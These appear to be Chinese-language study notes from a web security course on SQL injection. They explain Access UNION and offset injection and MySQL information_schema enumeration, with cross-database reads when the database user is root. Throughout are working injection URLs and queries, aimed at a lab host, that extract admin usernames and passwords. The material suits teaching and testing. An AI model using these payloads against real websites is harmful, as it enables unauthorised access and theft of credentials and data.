#知识点:
1、脚本代码与数据库前置知识
2、Access 数据库注入-简易&偏移
3、MYSQL 数据库注入-简易&权限跨库
#前置知识:
-SQL 注入漏洞产生原理分析
-SQL 注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限
SQL:数据的操作——SQL注入;产生在数据库上的注入
SQL注入:传参id变量,通过$sql变量来进行指定的sql数据库查询,从而执行恶意的SQL语句,实现查询其他数据内容(敏感信息)
危害:
数据库中的操作能被其利用和破坏——增删改查——需符合SQL语句的逻辑格式
产生原理:脚本代码和数据库的相关操作
搭建一个网站
漏洞的产生:特定函数和可控变量
最直接的一种通过url是否存在参数:get
存在一个参数和多个参数(对每一个参数进行测试)
通过获取网络数据包:Post
注入:
测试注入点:
1.猜测数据库类型
2.根据类型选择思路
ACCESS:——独立存在
数据库名
表名
列名
数据
对get页面进行白盒分析
根据对应的url找到对应的文件位置,查看源码
得知用的是一个product的表
那么这时,我们需要查admin的表,用联合查询
http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin
注:这里的联合查询是有限制的,就是union前后查询的数据必须保持同列
得知3和15作为网页的回显位,因此3和15替换为对应的列名(字典猜解)
http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin
如果表名知道,但列名不知道——偏移注入:
**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。
**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。
判断表内存在的字段个数:
http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,*%20from%20admin——错误
直到
http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*%20from%20admin——正确
说明了admin表下有6个字段
每做一次偏移,就意味着做了一整列,所以需要减6
一级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
二级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join a)
Mysql:统一管理
最高数据用户=root用户
数据库名A=网站A——》数据库用户C
表名
列名
数据
数据库名B=网站B——》数据库用户C
数据库名C=网站C——》数据库用户C
攻击思路:
判断root和非root:
黑盒:采用user()获取当前用户权限
白盒:看代码,看连接用户,配置文件中
Mysql5.0以上的版本:自带一个information_schema(存储数据库下的数据库名、列名、表名等)
获取相关数据:
一、猜测数据
获取 syguestbook 数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='syguestbook'
获取表名 sy_adminuser 的列名信息:UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
实现当前网站跨库查询其他网站——原理:因为是root用户会管理到所有的网站的数据库
获取当前 mysql 下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名 xhcms 下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='xhcms'
获取数据库名 xhcms 下的表 manage 下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='manage' and table_schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage